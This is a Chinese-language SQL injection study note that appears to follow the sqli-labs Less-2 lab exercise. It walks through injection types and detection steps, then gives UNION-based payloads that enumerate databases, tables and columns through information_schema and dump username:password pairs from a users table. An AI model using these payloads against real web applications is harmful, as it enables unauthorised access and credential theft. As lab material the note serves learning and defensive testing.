sql注入学习(一)

273 阅读3分钟

分类

1.按照请求方法

  • GET
  • POST

2.按照数据类型

  • 整型
  • 字符型

3.其他类型

  • 报错注入
  • 双注入(拼接时用到两个select)
  • 时间盲注
  • cookie注入
  • user-agent注入

整型注入(less-2)

步骤:

1、判断是否有注入(判断是否未严格校验)-->第一要输

1)可控参数的改变能否影响页面显示结果。

?id=1

?id=2

2)输入的SQL语句是否能报错-能通过数据库的报错,看到数据库的一些语句痕迹

?id=1'

加个单引号可以根据报错看出来这个是单引号注入或者整型型注入

3)输入的SQL语句能否不报错-我们的语句能够成功闭合

?id=1 #或者--+ 如果不是整形,加注释大概率会报错

2、什么类型的注入

把单引号注释掉可以判断为整型注入

3、语句是否能够被恶意修改--第二个要输

?id=1 and 0

条件为假,数据不显示

4、是否能够成功执行行-->第三个要素

5、获取我们想要的数据。

数据库->表->字段->值

必要知识

  1. 在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
  2. 数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
  3. 常用参数

information_schema.tables:记录所有表名信息的表

information_schema.columns:记录所有列名信息的表

table_name:表名

column_name:列名

table_schema:数据库名

user() 查看当前MySQL登录的用户名

database() 查看当前使用MySQL数据库名

version() 查看当前MySQL版本

  1. 利用order判断字段数

order by x(数字) 正常与错误的正常值 正确网页正常显示,错误网页报错

?id=1' order by 3--+

正确的列数正常显示

  1. 利用 union select 联合查询,将id值设置成不成立,即可探测到可利用的字段数

?id=-1 union select 1,2,3 --+ #此处的1,2,3仅为占位符,填任意字符都行 使用联合查询时要保障前面的结果为假,不然不会输出联合查询的结合( id=-2 或者 id=1 and 0 ) 都可

  1. 利用函数database(),user(),version()可以得到所探测数据库的数据库名、用户名和版本号

?id=-1 union select 1,database(),version() --+

4.利用 union select 联合查询, 获取所有数据库 group_concat()

  1. 利用 union select 联合查询,获取表名

?id=-1' union select 1,2,group_concat(table_name) from

information_schema.tables where table_schema='已知库名'--+

  1. 利用 union select 联合查询,获取字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='已知表名'--+

  1. 利用 union select 联合查询,获取字段值

?id=-1' union select 1,2,group_concat(已知字段名,':'已知字段名) from 已知表名--+

?id=121343 union select 1,group_concat(concat_ws(':',username,password)),3 from security.users%23